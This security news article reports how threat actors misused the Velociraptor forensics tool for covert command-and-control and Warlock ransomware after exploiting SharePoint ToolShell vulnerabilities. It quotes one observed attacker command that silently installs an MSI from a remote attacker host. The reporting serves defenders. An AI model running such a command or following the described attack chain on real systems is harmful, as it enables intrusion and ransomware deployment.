Hackers Leverage Velociraptor DFIR Tool for Stealthy C2 & Ransomware Delivery
Recent observations indicate an increasing trend among sophisticated threat actors to use legitimate administrative tools to integrate seamlessly with regular network activity. A notable instance involves the misuse of Velociraptor, a Digital Forensics…
Recent observations indicate an increasing trend among sophisticated threat actors to use legitimate administrative tools to integrate seamlessly with regular network activity. A notable instance involves the misuse of Velociraptor, a Digital Forensics and Incident Response (DFIR) tool, for malicious purposes.
Attackers are leveraging Velociraptor to establish covert Command and Control (C2) channels. This allows them to execute commands and maintain persistent access to compromised systems without triggering standard security alerts.
The attacks, identified in late 2025, exploit vulnerabilities in enterprise infrastructure, specifically targeting Windows Server Update Services (WSUS) and Microsoft SharePoint. Once infiltrated, Velociraptor is used to facilitate lateral movement and, in verified cases, to deploy Warlock ransomware.
This method complicates detection, as the presence of forensic tools often suggests remediation rather than active compromise.
Huntress security analysts identified this advanced technique after examining three incidents between September and November. Their research linked specific indicators, such as the hostname DESKTOP-C1N9M, to the threat group Storm-2603.
A notable instance involves the misuse of Velociraptor, a Digital Forensics and Incident Response (DFIR) tool, for malicious purposes.
The attackers employed advanced operational security measures, including the use of Cloudflare tunnels and digitally signed binaries, to bypass endpoint defenses and evade network blocklists.
Exploiting SharePoint for Unauthorized Access
The infection process involves exploiting the "ToolShell" vulnerability chain in Microsoft SharePoint. Attackers bypass authentication using CVE-2025-49706 by sending crafted HTTP POST requests to /_layouts/15/ToolPane.aspx. Subsequently, they use a secondary remote code execution vulnerability (CVE-2025-49704) to modify files like start.aspx into malicious web shells.
The IIS logs reveal unauthorized requests within the /_layouts/15/ directory. Once the web shell is active, threat actors execute commands to download and install Velociraptor via Windows Installer. A command observed in these attacks is:
msiexec /q /i https://royal-boat-bf05.qgtxtebl.workers.dev/v3.msi
This registers Velociraptor as a system service, ensuring persistence across reboots, as depicted by the creation of an autorun service.
Further, the attackers use the compromised Velociraptor instance to execute Base64 encoded PowerShell commands. These scripts download Visual Studio Code (code.exe) to establish outbound tunnels, masking malicious traffic as legitimate development activity.
The logs from Visual Studio Code document events from this tunnel creation, illustrating how attackers transition from forensic tool misuse to comprehensive network control.
Based on reporting by Cyber Security News.